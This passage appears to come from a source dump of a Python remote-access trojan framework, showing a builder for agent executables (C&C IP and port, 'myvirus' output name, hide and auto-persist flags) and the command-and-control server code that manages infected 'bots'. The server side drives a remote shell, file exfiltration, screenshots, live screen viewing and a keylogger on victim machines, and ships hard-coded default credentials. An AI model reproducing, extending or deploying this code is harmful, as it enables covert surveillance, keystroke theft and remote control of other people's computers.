                            args.wait, args.icon, args.hide, args.persist)

        executor.start()
        os.system('cls' if is_win else 'clear')
        print('\nFinished generating {}'.format(executor.filename + '.exe'))
        print('Look in the directory named \'output\' for your exe file')


================================================
FILE: agent/const.py
================================================
PAYLOAD_PATH = '.bin/.payload.exe'
BLOCK_SIZE = 65535

STAGER_CODE = 0
CONN_CODE = 1


================================================
FILE: agent/lib/__init__.py
================================================


================================================
FILE: agent/lib/args.py
================================================
# Date: 08/24/2018
# Author: Pure-L0G1C
# Description: Arguments

from os import path
from re import match
from argparse import ArgumentParser


class Args(object):

    def __init__(self):
        self.ip = None
        self.port = None
        self.name = None
        self.wait = None
        self.icon = None
        self.hide = None
        self.persist = None

    def error(self, error):
        print('Error: {}'.format(error))

    def get_args(self):
        parser = ArgumentParser()

        parser.add_argument('-i',
                            '--ip',
                            required=True,
                            help='the ip of the C&C server. \
                            Example: -i 127.0.0.1')

        parser.add_argument('-p',
                            '--port',
                            required=True,
                            help='the port of the C&C server. \
                            Example: -p 8080')

        parser.add_argument('-n',
                            '--name',
                            required=True,
                            help='the name of the output file. \
                            Example: -n myvirus')

        parser.add_argument('-w',
                            '--wait',
                            default=17,
                            help='time in seconds before calling C&C. \
                            Example: -w 17')

        parser.add_argument('-ic',
                            '--icon',
                            default=None,
                            help='the output type.\
                            Example: -ic FILE.ico \
                            Example: -ic FILE.exe')

        parser.add_argument('-hd',
                            '--hide',
                            default=False,
                            action='store_true',
                            help='hide the executable when executed. \
                            Example: --hide')

        parser.add_argument('-ap',
                            '--autopersist',
                            default=False,
                            dest='persist',
                            action='store_true',
                            help='Auto persist when executed. \
                            Example: -ap')

        return parser.parse_args()

    def set_args(self):
        args = self.get_args()
        self.ip = args.ip
        self.port = args.port
        self.name = args.name
        self.hide = args.hide
        self.wait = args.wait
        self.icon = args.icon
        self.persist = args.persist

        if any([not self.valid_ip, not self.valid_port, not self.valid_wait, not self.valid_icon]):
            return False
        return True

    @property
    def valid_ip(self):
        if not match(r'^(?!0)(?!.*\.$)((1?\d?\d|25[0-5]|2[0-4]\d)(\.|$)){4}$', self.ip):
            self.error('Invalid IP address')
            return False
        return True

    @property
    def valid_port(self):
        #  check if number
        for item in self.port:
            if not item.isdigit():
                return False

        # check if number starts with a zero
        if int(self.port[0]) == 0:
            return False

        # check if number is larger than 65535
        if int(self.port) > 65535:
            return False
        self.port = int(self.port)
        return True

    @property
    def valid_icon(self):
        if not self.icon:
            return True
        if not path.exists(self.icon):
            self.error(
                'Check your path to your icon, `{}` does not exist'.format(self.icon))
            return False
        else:
            if not any([self.icon.endswith('exe'), self.icon.endswith('ico')]):
                self.error('Icon file must be a .ico or .exe')
                return False
        return True

    @property
    def valid_wait(self):
        wait = str(self.wait)
        if not wait.isdigit():
            self.error('Wait must be a number')
            return False
        elif int(wait) < 17:
            self.error('Wait must not be less than 17')
            return False
        else:
            self.wait = int(wait)
        return True


================================================
FILE: agent/lib/file.py
================================================
# Date: 08/31/2018
# Author: Pure-L0G1C
# Description: File manager


class File(object):

    chunk_size = (64 << 10) - 1

    @classmethod
    def read(cls, file, _bytes=True):
        with open(file, 'rb' if _bytes else 'rt') as f:
            while True:
                data = f.read(cls.chunk_size)
                if data:
                    yield data
                else:
                    break

    @classmethod
    def write(cls, file, data):
        with open(file, 'wb') as f:
            for n in range(0, len(data), cls.chunk_size):
                _max = n + cls.chunk_size
                _data = data[n:_max]
                f.write(_data.encode() if isinstance(_data, str) else _data)


================================================
FILE: lib/__init__.py
================================================
# Date: 07/03/2018
# Author: Pure-L0G1C


================================================
FILE: lib/const.py
================================================
# Date: 08/13/2018
# Author: Pure-L0G1C
# Description: Config file

import os

################
#    READ ME   #
################
#######################################################################################################
### This is only required if you are connecting to computers outside of your network ###
#
# If you are connecting to computers outside
# of your network, you must enable port forwarding
# on your router. You must have have the FTP_PORT, SSH_PORT
# and the port you started the server on open on your router. Both the FTP_PORT and SSH_PORT
# can be confirgured below.
#
# You must also set the PRIVATE_IP as the ip of your computer
# and set the PUBLIC_IP as your public ip.
#
#######################################################################################################

#################### Configuration Section ####################

# ip
PRIVATE_IP = "127.0.0.1"  # IP from your router to your pc
PUBLIC_IP = "127.0.0.1"  # IP from your ISP to your router

# ports
FTP_PORT = 128
SSH_PORT = 256

#################### DO NOT TOUCH ANYTHING BELOW ####################

VERSION = "v0.1.1"

# database
DATABASE = "database/database.db"

if not os.path.exists(os.path.dirname(DATABASE)):
    os.makedirs(os.path.dirname(DATABASE))

# account
LOCK_TIME = 300  # in seconds
MAX_FAILED_ATTEMPTS = 3  # attempts before locking

# cert
if not os.path.exists("cert"):
    os.makedirs("cert")

CERT_FILE = "cert/public.crt"
KEY_FILE = "cert/private.key"

# communication codes
STAGER_CODE = 0
CONN_CODE = 1

# stager
PAYLOAD_PATH = "agent/.bin/.payload.exe"
BLOCK_SIZE = 65535


# Settings
MIN_USERNAME_LENGTH = 4
MAX_USERNAME_LENGTH = 16

MIN_PASSWORD_LENGTH = 12
MAX_PASSWORD_LENGTH = 256

# Default creds
DEFAULT_USERNAME = "loki"
DEFAULT_PASSWORD = "ikol"

# Downloads path
DOWNLOADS_PATH = "downloads"
SCREENSHOTS_PATH = os.path.join(DOWNLOADS_PATH, "screenshots")
FILES_PATH = os.path.join(DOWNLOADS_PATH, "files")

if not os.path.exists(SCREENSHOTS_PATH):
    os.makedirs(SCREENSHOTS_PATH)

if not os.path.exists(FILES_PATH):
    os.makedirs(FILES_PATH)


================================================
FILE: lib/database.py
================================================
# Date: 07/02/2018
# Author: Pure-L0G1C
# Description: DBMS

import bcrypt
import sqlite3
from . import const
from time import time
from os import urandom
from hashlib import sha256
from base64 import b64encode
from datetime import datetime


class Database(object):

    def __init__(self):
        self.db_path = const.DATABASE
        self.create_tables()
        self.create_default_account()

    def create_tables(self):
        self.db_create('''
         CREATE TABLE IF NOT EXISTS
         Account(
                 user_id TEXT PRIMARY KEY,
                 username TEXT,
                 password TEXT
                );
         ''')

        self.db_create('''
         CREATE TABLE IF NOT EXISTS
         Status(
                last_online INTEGER,
                date_created INTEGER,
                stat_id TEXT NOT NULL,
                FOREIGN KEY(stat_id) REFERENCES Account(user_id)
               );
         ''')

        self.db_create('''
         CREATE TABLE IF NOT EXISTS
         Attempt(
                 last_attempt INTEGER,
                 attempts_made INTEGER,
                 ampt_id TEXT NOT NULL,
                 FOREIGN KEY(ampt_id) REFERENCES Account(user_id)
                );
         ''')

        self.db_create('''
         CREATE TABLE IF NOT EXISTS
         Lock(
              time_locked INTEGER DEFAULT 0,
              lock_id TEXT NOT NULL,
              FOREIGN KEY(lock_id) REFERENCES Account(user_id)
             );
         ''')

    def add_account(self, username, password):
        username = username.lower()
        user_id = self.gen_user_id(username, password)
        hashed_password = self.hash_password(password)

        self.db_update('''
         INSERT INTO Account(user_id, username, password)
         VALUES(?, ?, ?);
         ''', [user_id, username, hashed_password])

        self.db_update('''
         INSERT INTO Status(last_online, date_created, stat_id)
         VALUES(?, ?, ?);
        ''', [time(), time(), user_id])

        self.db_update('''
         INSERT INTO Attempt(last_attempt, attempts_made, ampt_id)
         VALUES(?, ?, ?);
        ''', [time(), 0, user_id])

        self.db_update('''
         INSERT INTO Lock(lock_id)
         VALUES(?);
        ''', [user_id])

    def account_exists(self, username):
        data = self.db_query(
            'SELECT * FROM Account WHERE username=?;', [username.lower()], False)
        return True if len(data) else False

    def compare_passwords(self, user_id, password):
        hashed_password = self.db_query(
            'SELECT password FROM Account WHERE user_id=?;', [user_id])
        return True if bcrypt.hashpw(password.encode('utf-8'), hashed_password) == hashed_password else False

    def check_password(self, username, password):
        hashed_password = self.db_query(
            'SELECT password FROM Account WHERE username=?;', [username])
        return True if bcrypt.hashpw(password.encode('utf-8'), hashed_password) == hashed_password else False

    def authenticate(self, username, password):
        username = username.lower()
        if self.account_exists(username):
            user_id = self.get_user_id(username)
            if not self.is_locked(user_id):
                if self.check_password(username, password):
                    return self.get_user_id(username)
                else:
                    self.failed_attempt(user_id)
        return None

    def is_empty(self):
        data = self.db_query('SELECT * FROM Account;', [], False)
        return False if len(data) else True

    def create_default_account(self):
        if self.is_empty():
            self.add_account('loki', 'ikol')

    # -------- Attempts -------- #

    def lock_account(self, user_id):
        self.db_update('UPDATE Lock SET time_locked=? WHERE lock_id=?;', [
                       time(), user_id])

    def failed_attempt(self, user_id):
        current_value = self.failed_attempts_counts(user_id)
        if current_value >= const.MAX_FAILED_ATTEMPTS-1:
            if not self.is_locked(user_id):
                self.lock_account(user_id)
        else:
            self.db_update('UPDATE Attempt SET attempts_made=? WHERE ampt_id=?;', [
                           current_value + 1, user_id])

    def failed_attempts_counts(self, user_id):
        return self.db_query('SELECT attempts_made FROM Attempt WHERE ampt_id=?;', [user_id])

    def is_locked(self, user_id):
        time_locked = self.locked(user_id)
        if time_locked:
            if (time() - time_locked) >= const.LOCK_TIME:
                self.remove_locked_account(user_id)
                return False
            else:
                return True
        else:
            return False

    def locked(self, user_id):
        return self.db_query('''
         SELECT time_locked
         FROM Lock
         INNER JOIN Account ON account.user_id = Lock.lock_id
         WHERE Lock.lock_id=?;
         ''', [user_id])

    def remove_locked_account(self, user_id):
        self.db_update(
            'UPDATE Attempt SET attempts_made=? WHERE ampt_id=?;', [0, user_id])

# -------- Database Wrappers -------- #

    def db_query(self, cmd, args, fetchone=True):
        database = sqlite3.connect(self.db_path)
        sql = database.cursor().execute(cmd, args)
        data = sql.fetchone()[0] if fetchone else sql.fetchall()
        database.close()
        return data

    def db_update(self, cmd, args):
        database = sqlite3.connect(self.db_path)
        database.cursor().execute(cmd, args)
        database.commit()
        database.close()

    def db_create(self, cmd):
        database = sqlite3.connect(self.db_path)
        database.cursor().execute(cmd)
        database.commit()
        database.close()

# -------- Update -------- #

    def update_password(self, user_id, password):
        hashed_password = self.hash_password(password)
        self.db_update('UPDATE Account SET password=? WHERE user_id=?;', [
                       hashed_password, user_id])

    def update_username(self, user_id, username):
        self.db_update('UPDATE Account SET username=? WHERE user_id=?;', [
                       username.lower(), user_id])

# -------- Misc -------- #

    def hash_password(self, password):
        return bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())

    def gen_user_id(self, username, password):
        _username = username.encode('utf-8') + urandom(64 * 1024)
        _password = password.encode('utf-8') + urandom(64 * 1024)
        _username_password = b64encode(
            _username + _password + urandom(64 * 64))
        secure_hash = sha256(_username_password).digest().hex()
        return secure_hash

    def get_date_created(self, user_id):
        return self.db_query('SELECT date_created FROM Status WHERE stat_id=?;', [user_id])

    def get_user_id(self, username):
        return self.db_query('SELECT user_id FROM Account WHERE username=?;', [username])

    def get_last_active(self, user_id):
        epoch_time = self.db_query(
            'SELECT last_online FROM Status WHERE stat_id=?;', [user_id])
        self.db_update('UPDATE Status SET last_online=? WHERE stat_id=?;', [
                       time(), user_id])
        return datetime.fromtimestamp(epoch_time).strftime('%b %d, %Y at %I:%M %p')

    def get_account_status(self, user_id, username):
        default_username = const.DEFAULT_USERNAME
        default_password = const.DEFAULT_PASSWORD

        username = username.lower()
        is_same_password = self.compare_passwords(user_id, default_password)

        if username == default_username.lower() and is_same_password:
            status = 'It is imperative that you update your username and password'
        elif username == default_username:
            status = 'Please consider changing your username'
        elif is_same_password:
            status = 'Please consider changing your passsword'
        else:
            status = None
        return status


================================================
FILE: lib/server/__init__.py
================================================
# Date: 07/20/2018
# Author: Pure-L0G1C


================================================
FILE: lib/server/lib/__init__.py
================================================
# Date: 07/20/2018
# Author: Pure-L0G1C


================================================
FILE: lib/server/lib/file.py
================================================
# Date: 08/31/2018
# Author: Pure-L0G1C
# Description: File manager


class File(object):

    chunk_size = (64 << 10) - 1

    @classmethod
    def read(cls, file):
        with open(file, 'rb') as f:
            while True:
                data = f.read(cls.chunk_size)
                if data:
                    yield data
                else:
                    break

    @classmethod
    def write(cls, file, data):
        with open(file, 'wb') as f:
            for n in range(0, len(data), cls.chunk_size):
                _max = n + cls.chunk_size
                _data = data[n:_max]
                f.write(_data.encode() if isinstance(_data, str) else _data)


================================================
FILE: lib/server/lib/interface.py
================================================
# Date: 06/07/2018
# Author: Pure-L0G1C
# Description: Interface for the master

from re import match
from lib import const
from hashlib import sha256
from time import time, sleep
from os import urandom, path
from threading import Thread
from datetime import datetime
from os import getcwd, path, remove
from . import ssh, sftp, sscreenshare

######## Screenshare ########


class ScreenShare:

    screen_src = path.join(getcwd(), 'templates', 'screen.html')

    def __init__(self, bot, update):
        self.sscreenshare = sscreenshare.SScreenShare(
            const.PRIVATE_IP,
            const.FTP_PORT
        )

        self.bot_id = bot['bot_id']
        self.shell = bot['shell']
        self.update = update

    @property
    def is_alive(self):
        return self.sscreenshare.is_alive

    def start(self, code):
        print('Starting screenshare ...')

        self.shell.send(code=code, args=self.update)
        Thread(target=self.sscreenshare.start, daemon=True).start()

    def stop(self):
        print('Stopping screenshare ...')

        self.shell.send(code=16)
        self.sscreenshare.stop()

        if path.exists(ScreenShare.screen_src):
            try:
                remove(ScreenShare.screen_src)
            except:
                pass

    def close(self):
        self.stop()


######## FTP ########

class FTP(object):

    def __init__(self, file, bot, download=True):
        self.sftp = sftp.sFTP(
            const.PRIVATE_IP, const.FTP_PORT, max_time=60, verbose=True)
        self.bot_id = bot['bot_id']
        self.shell = bot['shell']
        self.download = download
        self.is_alive = False
        self.success = False
        self.time = None
        self.file = file

    def send(self, code, file=None):
        if not path.exists(file):
            return

        self.shell.send(code=code, args=file)
        self.is_alive = True

        self.sftp.send(file)
        self.is_alive = False

        self.time = self.sftp.time_elapsed
        self.success = True if self.sftp.error_code != -1 else False

    def recv(self, code, file=None):
        self.shell.send(code=code, args=file)
        self.is_alive = True
        self.sftp.recv(code=code)
        self.is_alive = False
        self.time = self.sftp.time_elapsed
        self.success = True if self.sftp.error_code != -1 else False

    def close(self):
        self.sftp.close()
        self.is_alive = False


######## Interface ########


class Interface(object):

    def __init__(self):
        self.bots = {}
        self.ssh = None
        self.ftp = None
        self.screenshare = None
        self.sig = self.signature

    def close(self):
        if self.ftp:
            self.ftp.close()
            self.ftp = None

        if self.ssh:
            self.ssh.close()
            self.ssh = None

        if self.screenshare:
            self.screenshare.close()
            self.screenshare = None

        self.disconnect_all()

    def gen_bot_id(self, uuid):
        bot_ids = [self.bots[bot]['bot_id'] for bot in self.bots]
        while 1:
            bot_id = sha256((sha256(urandom(64 * 32) + urandom(64 * 64)
                                    ).digest().hex() + uuid).encode()).digest().hex()
            if not bot_id in bot_ids:
                break
        return bot_id

    @property
    def signature(self):
        bots = b''
        for bot in self.bots:
            bot_id = self.bots[bot]['bot_id']
            bot_id = bot_id[:8] + bot_id[-8:]
            bots += bot_id.encode()
        return sha256(bots).digest().hex()

    def is_connected(self, uuid):
        for bot in self.bots:
            if self.bots[bot]['uuid'] == uuid:
                return True
        return False

    def connect_client(self, sess_obj, conn_info, shell):
        uuid = conn_info['args']['sys_info']['uuid']

        if self.is_connected(uuid):
            self.close_sess(sess_obj, shell)
        else:
            bot_id = self.gen_bot_id(uuid)
            self.bots[sess_obj] = {'bot_id': bot_id, 'uuid': uuid,
                                   'intel': conn_info['args'], 'shell': shell, 'session': sess_obj}
            self.sig = self.signature

    def close_sess(self, sess_obj, shell_obj):
        print('Closing session ...')
        shell_obj.is_alive = False
        shell_obj.send(code=7, args=None)  # 7 - disconnect

        sess_obj.close()
        if sess_obj in self.bots:
            del self.bots[sess_obj]
        self.sig = self.signature

    def disconnect_client(self, sess_obj):
        print('Disconnecting client ...')
        if sess_obj in self.bots:
            self.bots[sess_obj]['shell'].is_alive = False
            bot_id = self.bots[sess_obj]['bot_id']

            if self.ftp:
                if self.ftp.bot_id == bot_id:
                    self.ftp.close()
                    self.ftp = None

            self.close_sess(sess_obj, self.bots[sess_obj]['shell'])
            self.sig = self.signature

    def disconnect_all(self):
        for bot in [self.bots[bot] for bot in self.bots]:
            bot['session'].close()
        self.sig = self.signature

    def get_bot(self, bot_id):
        for bot in self.bots:
            if self.bots[bot]['bot_id'] == bot_id:
                return self.bots[bot]

    def ssh_obj(self, bot_id):
        bot = self.get_bot(bot_id)

        if bot:
            if self.ssh:
                self.ssh.close()

            self.ssh = ssh.SSH(const.PRIVATE_IP, const.SSH_PORT,
                               max_time=30, verbose=True)
            sock_obj = self.ssh.start()

            if sock_obj:
                t = Thread(target=self.ssh.serve, args=[sock_obj])
                t.daemon = True
                t.start()

                bot['session'].send(code=1)
                return self.ssh
            else:
                self.ssh.close()
                self.ssh = None

    def ssh_exe(self, cmd):
        return self.ssh.send(cmd)

    def ftp_obj(self, bot_id, cmd_id, file, override):
        bot = self.get_bot(bot_id)
        if not bot:
            return ''

        if cmd_id == 3:
            if not path.exists(file):
                return 'Upload process failed; the file {} was not found'.format(file)

        if self.ftp:
            if all([self.ftp.is_alive, not override]):
                return 'Already {} {} {} {}. Use --override option to override this process'.format('Downloading' if self.ftp.download else 'Uploading',
                                                                                                    self.ftp.file, 'from' if self.ftp.download else 'to', self.ftp.bot_id[:8])
            self.ftp.close()
            del self.ftp

        if self.screenshare:
            if self.screenshare.is_alive and not override:
                return 'Viewing the screen of {}. Use --override option to override this process'.format(
                    self.screenshare.bot_id[:8]
                )

            self.screenshare.close()
            del self.screenshare
            self.screenshare = None

        self.ftp = FTP(file, bot, download=False if cmd_id == 3 else True)
        ftp_func = self.ftp.send if cmd_id == 3 else self.ftp.recv
        Thread(target=ftp_func, args=[cmd_id, file], daemon=True).start()

        return '{} process started successfully'.format('Download' if self.ftp.download else 'Upload')

    def ftp_status(self):
        if not self.ftp:
            return 'No file transfer in progress'
        if self.ftp.is_alive:
            return '{} {} {} {}. Check back in 1 minute'.format('Downloading' if self.ftp.download else 'Uploading',
                                                                self.ftp.file, 'from' if self.ftp.download else 'to', self.ftp.bot_id[:8])
        else:
            return 'Attempted to {} {} {} {}. The process {} a success. Time-elapsed: {}(sec)'.format('download' if self.ftp.download else 'upload',
                                                                                                      self.ftp.file, 'from' if self.ftp.download else 'to',
                                                                                                      self.ftp.bot_id[:8], 'was' if self.ftp.success else 'was not', self.ftp.time)

    def write_screen_scr(self, update):
        html = '''
        <!DOCTYPE html>
        <html lang="en">
            <head>
                <meta charset="UTF-8" />
                <meta name="viewport" content="width=device-width, initial-scale=1.0" />
                <meta http-equiv="X-UA-Compatible" content="ie=edge" />
                <title>Screenshare</title>
            </head>
            <body>
                <div id="container">
                    <img src="../static/img/screen.png" alt="" height="512" width="1024" id="img" />
                </div>

                <script>
                    window.onload = function() {{
                        var image = document.getElementById('img');

                        function updateImage() {{
                            image.src = image.src.split('?')[0] + '?' + new Date().getTime();
                        }}

                        setInterval(updateImage, {});
                    }};    

                    window.onfocus = function() {{
                        location.reload();
                    }};           
                </script>

                <style>
                    body {{
                        background: #191919;
                    }}

                    img {{
                        border-radius: 5px;
                    }}

                    #container {{
                        text-align: center;
                        padding-top: 8%;
                    }}
                </style>
            </body>
        </html>
        '''.format(update * 1000)

        with open(ScreenShare.screen_src, 'wt') as f:
            f.write(html)

    def screenshare_obj(self, bot_id, cmd_id, update, override):
        bot = self.get_bot(bot_id)

        if not bot:
            return ''

        if self.ftp:
            if self.ftp.is_alive and not override:
                return 'Already {} {} {} {}. Use --override option to override this process'.format('Downloading' if self.ftp.download else 'Uploading',
                                                                                                    self.ftp.file, 'from' if self.ftp.download else 'to', self.ftp.bot_id[:8])
            self.ftp.close()
            del self.ftp
            self.ftp = None

        if self.screenshare:
            if self.screenshare.is_alive and not override:
                return 'Already viewing the screen of {}. Use --override option to override this process'.format(
                    self.screenshare.bot_id[:8]
                )

            self.screenshare.close()
            self.screenshare.update = update
            self.screenshare.shell = bot['shell']
            self.screenshare.bot_id = bot['bot_id']
        else:
            self.screenshare = ScreenShare(bot, update)

        self.screenshare.start(cmd_id)
        self.write_screen_scr(update)

        return 'Screenshare is being hosted at the URL: {}'.format(ScreenShare.screen_src)

    def execute_cmd_by_id(self, bot_id, cmd_id, args):
        override = True if '--override' in args else False
        if not cmd_id.isdigit():
            return 'Failed to send command'

        cmd_id = int(cmd_id)

        if override:
            args.pop(args.index('--override'))

        if cmd_id == 1:
            return self.ftp_status()

        if cmd_id == 15:
            if '-1' in args:
                args.remove('-1')

            if not len(args):
                return 'Please provide an update time in seconds'

            update = ''.join(args[0]).strip()

            if not update:
                return 'Please provide an update time in seconds'

            try:
                update = float(update)
            except ValueError:
                return 'Please provide an integer for update time'

            return self.screenshare_obj(bot_id, cmd_id, update, override)

        if cmd_id == 16:
            if not self.screenshare:
                return 'Screenshare is inactive'

            if not self.screenshare.is_alive:
                return 'Screenshare is inactive'

            self.screenshare.stop()
            return 'Stopped screenshare ...'

        if cmd_id == 17:
            if not self.screenshare:
                return 'Screenshare is inactive'

            if not self.screenshare.is_alive:
                return 'Screenshare is inactive'

            return 'Viewing the screen of {}\nUpdating every {} seconds\nURL: {}'.format(
                self.screenshare.bot_id[:8], self.screenshare.update, ScreenShare.screen_src
            )

        elif any([cmd_id == 3, cmd_id == 4, cmd_id == 5]):
            return self.ftp_obj(bot_id, cmd_id, ' '.join(args[0:]) if cmd_id != 5 else 'a screenshot', override)
        else:
            bot = self.get_bot(bot_id)
            if bot:
                bot['shell'].send(code=cmd_id, args=args)
                if cmd_id == 12:
                    if not bot['shell'].keylogging:
                        bot['shell'].keylogging = True
                    else:
                        return 'Keylogger is already active'
                if cmd_id == 13:
                    if bot['shell'].keylogging:
                        bot['shell'].keylogging = False
                    else:
                        return 'Keylogger is already inactive'
                if all([cmd_id == 14, not bot['shell'].keylogging]):
                    return 'Keylogger is inactive'
                return self.keystrokes(bot['shell']) if cmd_id == 14 else 'Command sent successfully'
        return 'Failed to send command'

    def keystrokes(self, bot_shell):
        while all([bot_shell.is_alive, not bot_shell.keystrokes]):
            pass
        try:
            if all([bot_shell.is_alive, bot_shell.keystrokes]):
                keystrokes = bot_shell.keystrokes
                bot_shell.keystrokes = None
                return keystrokes if keystrokes != '-1' else ''
        except:
            pass

    def valid_thread(self, thread):
        return True if thread.isdigit() else False

    def valid_ip(self, ip):
        return False if not match(r'^(?!0)(?!.*\.$)((1?\d?\d|25[0-5]|2[0-4]\d)(\.|$)){4}$', ip) else True

    def valid_port(self, port):
        _port = str(port).strip()

        if not len(_port):
            return False
        else:
            #  check if number
            for item in _port:
                if not item.isdigit():
                    return False

            # check if number starts with a zero
            if int(_port[0]) == 0:
                return False

            # check if number is larger than 65535
            if int(_port) > 65535:
                return False
            return True


================================================
FILE: lib/server/lib/session.py
================================================
# Date: 06/02/2018
# Author: Pure-L0G1C
# Description: Session

import time
import json
import socket


class Session(object):

    def __init__(self, session, ip):
        self.ip = ip[0]
        try:
            self.session = session
        except:
            pass

    def initial_communication(self):
        try:
            data = self.recv()
            return data
        except:
            pass

    def close(self):
        try:
            self.session.close()
            self.session.shutdown(socket.SHUT_RDWR)
        except:
            pass

    def struct(self, code=None, args=None):
        return json.dumps({'code': code, 'args': args}).encode()

    def send(self, code=None, args=None):
        data = self.struct(code, args)
        try:
            self.session.sendall(data)
        except:
            pass

    def recv(self, size=4096):
        try:
            return json.loads(self.session.recv(size))
        except:
            pass


================================================
FILE: lib/server/lib/sftp.py
================================================
# Date: 07/27/2018
# Author: Pure-L0G1C
# Description: Secure FTP

import os
import ssl
import socket
from . file import File
from time import time, sleep
from datetime import datetime
from socket import timeout as TimeOutError
from lib.const import CERT_FILE, KEY_FILE, SCREENSHOTS_PATH, FILES_PATH


class sFTP(object):

    def __init__(self, ip, port, max_time=15, verbose=False):
        self.ip = ip
        self.port = port
        self.error_code = 0
        self.time_elapsed = 0
        self.verbose = verbose
        self.max_time = max_time
        self.chunk_size = 0xffff
        self.server_socket = None
        self.session_size = 0x1000
        self.recipient_session = None

    def display(self, msg):
        if self.verbose:
            print('{}\n'.format(msg))

    def test_tunnel(self):
        value = self.recipient_session.recv(self.session_size)
        self.recipient_session.sendall(value)

    def send_file(self, file):

        # send file's name
        sleep(0.5)
        print('Sending file\'s name ...')
        self.recipient_session.sendall(os.path.basename(file).encode('utf8'))

        # send file's data
        sleep(0.5)
        self.display('Sending {} ...'.format(file))
        for data in File.read(file):
            self.recipient_session.sendall(data)
        self.display('File sent')

    def recv_file(self):
        self.test_tunnel()

        _bytes = b''

        # receive file's name
        file_name = self.recipient_session.recv(self.session_size)

        # receive file's data
        self.display('Downloading {} ...'.format(file_name))

        while True:
            data = self.recipient_session.recv(self.chunk_size << 2)

            if data:
                _bytes += data
            else:
                break

        print('Downloaded file')
        return file_name, _bytes

    def send(self, file):
        if not os.path.exists(file):
            self.display('File `{}` does not exist'.format(file))
            self.error_code = -1
            return

        self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server_socket.setsockopt(
            socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.server_socket.settimeout(self.max_time)

        try:
            self.server_socket.bind((self.ip, self.port))
            self.server_socket.listen(1)
        except OSError:
            self.display('Failed to start FTP server on {}:{}'.format(
                self.ip, self.port))
            self.error_code = -1

        try:
            session, addr = self.server_socket.accept()
            self.recipient_session = ssl.wrap_socket(
                session, server_side=True, certfile=CERT_FILE, keyfile=KEY_FILE)
        except TimeOutError:
            self.display('Server timed out')
            self.error_code = -1

        try:
            started = time()
            self.send_file(file)
            self.time_elapsed = (time() - started)
            self.display('Time-elapsed: {}(sec)'.format(time() - started))
        except:
            self.error_code = -1
        finally:
            self.close()

    def recv(self, code):
        self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server_socket.setsockopt(
            socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.server_socket.settimeout(self.max_time)

        try:
            self.server_socket.bind((self.ip, self.port))
            self.server_socket.listen(1)
        except OSError:
            self.display('Failed to start FTP server on {}:{}'.format(
                self.ip, self.port))
            self.error_code = -1

        try:
            session, addr = self.server_socket.accept()
            self.recipient_session = ssl.wrap_socket(
                session, server_side=True, certfile=CERT_FILE, keyfile=KEY_FILE)
        except TimeOutError:
            self.display('Server timed out')
            self.error_code = -1

        try:
            started = time()
            file_name, data = self.recv_file()
            file_name = file_name.decode()

            if code == 5:  # Screenshot
                file_name, exten = os.path.splitext(
                    os.path.basename(file_name))
                file_name = '{}_{}{}'.format(
                    file_name, datetime.now().strftime('%Y-%m-%d_%H.%M.%S'), exten)

                file_name = os.path.join(SCREENSHOTS_PATH, file_name)
            else:
                file_name = os.path.join(FILES_PATH, file_name)

            print(f'\nFilename: {file_name}\n')

            File.write(file_name, data)
            self.time_elapsed = (time() - started)
            self.display('Time-elapsed: {}(sec)'.format(time() - started))
        except Exception as e:
            print(f'\nException: {e}\n')
            self.error_code = -1
        finally:
            self.close()

    def socket_closed(self):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
            sock.settimeout(1.5)

            s = ssl.wrap_socket(
                sock,
                ssl_version=ssl.PROTOCOL_SSLv23
            )

            try:
                return s.connect((self.ip, self.port)) == 0
            except (ConnectionRefusedError, socket.timeout):
                return True
            except:
                return False

    def close(self):
        print('\nClosing sFTP ...')

        while not self.socket_closed():
            try:
                self.recipient_session.close()
                self.recipient_session.shutdown(socket.SHUT_RDWR)
            except:
                try:
                    self.server_socket.close()
                    self.server_socket.shutdown(socket.SHUT_RDWR)
                except:
                    pass
                finally:
                    sleep(0.1)

        try:
            del self.recipient_session
            self.recipient_session = None
        except:
            try:
                del self.server_socket
                self.server_socket = None
            except:
                pass


================================================
FILE: lib/server/lib/shell.py
================================================
# Date: 06/05/2018
# Author: Pure-L0G1C
# Description: Recv/Send to master

import sys
import time
from queue import Queue
from threading import Thread, RLock


class Shell(object):

    def __init__(self, sess_obj, interface):
        self.interface = interface
        self.keylogging = False
        self.keystrokes = None
        self.sess = sess_obj
        self.is_alive = True
        self.recv = Queue()
        self.lock = RLock()

    def start(self):
        t1 = Thread(target=self.listen)
        t2 = Thread(target=self.recv_manager)

        t1.daemon = True
        t2.daemon = True

        t1.start()
        t2.start()

        t1.join()
        t2.join()

    def listen(self):
        while self.is_alive:
            recv = self.sess.recv()
            if recv:
                self.recv.put(recv)
            else:
                self.is_alive = False
                self.interface.disconnect_client(self.sess)

    def recv_manager(self):
        while self.is_alive:
            if self.recv.qsize():
                with self.lock:
                    recv = self.recv.get()
                    if recv['code'] == -0:
                        self.keystrokes = recv['args']
                    self.display_text('Data: {}'.format(recv['args']))

    def send(self, code=None, args=None):
        self.sess.send(code=code, args=args)

    def display_text(self, text):
        print('{0}{1}{0}'.format('\n\n\t', text))


================================================
FILE: lib/server/lib/sscreenshare.py
================================================
# Date: 10/03/2019
# Author: Mohamed
# Description: Secure Screenshare

import os
import ssl
import socket
from time import sleep
from . file import File
from socket import timeout as TimeOutError
from lib.const import CERT_FILE, KEY_FILE


class SScreenShare:

    max_time = 30
    image = 'static/img/screen.png'
    EOF = '<EOF>'.encode()

    def __init__(self, ip, port):
        self.is_alive = True
        self.conn = None
        self.port = port
        self.ip = ip

        self.server_socket = None
        self.recipient_session = None

        self.error_msg = ''
        self.error_code = 0

    def recv_image(self):

        _bytes = b''

        while self.is_alive:
            data = self.recipient_session.recv(File.chunk_size)

            if not data or data == self.EOF:
                break
            else:
                _bytes += data

        return _bytes

    def write(self, data):
        if not self.is_alive:
            return

        with open(self.image, 'wb') as f:
            for n in range(0, len(data), File.chunk_size):
                _max = n + File.chunk_size
                _data = data[n:_max]
                f.write(_data.encode() if isinstance(_data, str) else _data)

    def display(self):
        while self.is_alive:

            try:
                data = self.recv_image()
            except Exception as e:
                self.error_msg = e
                self.stop()
                return

            if not data:
                self.error_msg = 'Empty data'
                self.stop()
            else:
                try:
                    self.write(data)
                except:
                    pass

    def start(self):

        image_path = os.path.dirname(self.image)
        if not os.path.exists(image_path):
            os.makedirs(image_path)

